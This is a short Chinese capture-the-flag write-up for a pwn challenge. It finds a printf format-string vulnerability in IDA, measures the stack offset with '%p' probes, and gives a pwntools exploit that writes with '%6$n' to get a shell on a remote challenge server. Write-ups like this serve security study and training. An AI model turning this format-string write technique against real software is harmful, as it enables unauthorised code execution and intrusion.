1.首先拖入IDA,找到main函数,F5反汇编

image-20191103163543973

2.程序的逻辑很简单,先打印v5的地址,接受输入。令v5=4即可getshell

​ 注意这两行:

 __isoc99_scanf("%s", &format);
  printf(&format);

明显的格式化字符串漏洞。

3.运行程序,可以看到v5的地址是每次都在变的。但是可以获得

image-20191103164105144

4.获取偏移量,输入

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

观察回显结果:

image-20191103164345842

故偏移量为6

5.exp如下:

from pwn import *
#wowotou
r= remote('183.129.189.60','10020')
a = r.recvline()#接受v5地址并转成int型
aa = eval(a)

#v5地址需要经过32位编码转换,故为4位。
#要求v5=4,故不需要补字直接跟偏移量即可
payload = p32(aa) + '%6$n'

r.recvuntil("How much is a sorghum?")
r.sendline(payload)
r.interactive()

运行,成功获取flag

image-20191103164806980